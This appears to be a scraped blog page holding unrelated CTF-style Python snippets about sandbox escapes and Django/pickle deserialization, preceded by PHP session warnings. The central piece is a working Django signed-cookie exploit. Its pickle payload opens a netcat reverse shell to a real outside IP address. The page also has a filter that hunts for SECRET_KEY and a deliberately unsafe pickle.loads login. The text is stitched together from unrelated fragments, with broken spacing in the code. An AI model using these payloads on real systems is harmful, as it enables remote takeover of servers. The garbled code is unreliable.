<b>Warning</b>: session_start(): The session id is too long or contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in <b>/var/www/html/index.php</b> on line <b>2</b><br /> <br /> <b>Warning</b>: session_start(): Cannot send session cache limiter - headers already sent (output started at /var/www/html/index.php:2) in <b>/var/www/html/index.php</b> on line <b>2</b><br />
<br /> <b>Warning</b>: session_start(): The session id is too long or contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in <b>/var/www/html/search.php</b> on line <b>2</b><br /> <br /> <b>Warning</b>: session_start(): Cannot send session cache limiter - headers already sent (output started at /var/www/html/search.php:2) in <b>/var/www/html/search.php</b> on line <b>2</b><br /> <metahttp-equiv="Content-Type"content="text/html; charset=uft-8"/><title>login</title><script>alert('Wrong pass');location.href='./index.php'</script><br /> <b>Warning</b>: Unknown: The session id is too long or contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in <b>Unknown</b> on line <b>0</b><br /> <br /> <b>Warning</b>: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct () in <b>Unknown</b> on line <b>0</b><br />
deffoo():#you should write your code in this function import os deffib(n): if n <= 1: return n return fib(n-1) + fib(n-2) print'fib(10) =', fib(10) os.system('dir')
defload_build(self): stack = self.stack state = stack.pop() inst = stack[-1] setstate = getattr(inst, "__setstate__", None) if setstate isnotNone: setstate(state) return slotstate = None ifisinstance(state, tuple) andlen(state) == 2: state, slotstate = state if state: inst_dict = inst.__dict__ intern = sys.intern for k, v in state.items(): iftype(k) isstr: inst_dict[intern(k)] = v else: inst_dict[k] = v if slotstate: for k, v in slotstate.items(): setattr(inst, k, v)
import base64 import datetime import json import re import time import zlib import pickle from django.utils import baseconv from django.utils.crypto import constant_time_compare, salted_hmac from django.utils.encoding import force_bytes from django.utils.module_loading import import_string from django import core from django.core import signing
myexp=b'''cbuiltins globals (tRp100 cbuiltins getattr p101 (g100 S'get' tR(S'builtins' tRp103 g101 (g103 S'eval' tR(S'eval(\'\'\'__import__('os').system('nc -e "cmd.exe /K" 39.108.164.219 60000 -d')\'\'\')' tR.''' defpickle_exp(SECRET_KEY): data = myexp compress=True # Flag for if it's been compressed or not is_compressed = False salt='django.contrib.sessions.backends.signed_cookies' if compress: # Avoid zlib dependency unless compress is being used compressed = zlib.compress(data) iflen(compressed) < (len(data) - 1): data = compressed is_compressed = True base64d = signing.b64_encode(data).decode() if is_compressed: base64d = '.' + base64d print(signing.TimestampSigner(key=SECRET_KEY, salt=salt).sign(base64d))
from django.http.response import HttpResponse, HttpResponseRedirect from django.template import engines from django.contrib.auth import login as auth_login, get_user_model, authenticate from django.contrib.auth.views import LoginView, logout_then_login from django.contrib.auth.decorators import login_required from django.views import generic from django import template
import django from django import template register = template.Library()
@register.filter defget_dict(obj,way="",depth=0): if depth>11: return objdir=dir(obj) r={"dict":objdir,"way":way} result="" for i in objdir: try : if'_' == i[0]: continue ifgetattr(obj, '__module__', None)!=Noneandgetattr(obj, '__module__', None).split('.')[0] == django.__name__: result+=get_dict(getattr(obj,i,None),way+"."+i,depth+1) except TypeError: pass
if"SECRET_KEY"in objdir or"settings"in objdir: print(way) return result+way+"\n" return result
deflogin(self): user = input().encode('ascii') user = codecs.decode(user, 'base64') user = pickle.loads(user) raise NotImplementedError("Not Implemented QAQ")
This is a dictionary that maps module names to modules which have already been loaded. This can be manipulated to force reloading of modules and other tricks. However, replacing the dictionary will not necessarily work as expected and deleting essential items from the dictionary may cause Python to fail.
deflogin(self): user = input().encode('ascii') user = codecs.decode(user, 'base64') user = pickle.loads(user) raise NotImplementedError("Not Implemented QAQ")
deflogin(self): withopen('../flag.txt', 'rb') as f: flag = f.read() flag = bytes(a ^ b for a, b inzip(self.key, flag)) user = input().encode('ascii') user = codecs.decode(user, 'base64') user = pickle.loads(user) print('Login as ' + user.name + ' - ' + user.group) user.privileged = False user.flag = flag self.user = user
from django.http.response import HttpResponse, HttpResponseRedirect from django.template import engines from django.contrib.auth import login as auth_login, get_user_model, authenticate from django.contrib.auth.views import LoginView, logout_then_login from django.contrib.auth.decorators import login_required from django.views import generic from django import template
import django from django import template register = template.Library()
@register.filter defget_dict(obj,way="",depth=0): if depth>11: return objdir=dir(obj) r={"dict":objdir,"way":way} result="" for i in objdir: try : if'_' == i[0]: continue ifgetattr(obj, '__module__', None)!=Noneandgetattr(obj, '__module__', None).split('.')[0] == django.__name__: result+=get_dict(getattr(obj,i,None),way+"."+i,depth+1) except TypeError: pass
if"SECRET_KEY"in objdir or"settings"in objdir: print(way) return result+way+"\n" return result
f=sys.argv[1] s="" withopen(f,"r") as fl: s=fl.read() resstr,stype=synonyms.seg(s)
withopen(sys.argv[2],"w") as fw: for i in resstr: iflen(i)==1: fw.write(i) else : nearbystr,num=synonyms.nearby(i) iflen(nearbystr)>1and num[1]> 0.75: print(nearbystr[1],num[1]) fw.write(nearbystr[1]) else : fw.write(i)
可以调整if len(nearbystr)>1 and num[1]> 0.75:来修改近义词的准确率.
Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.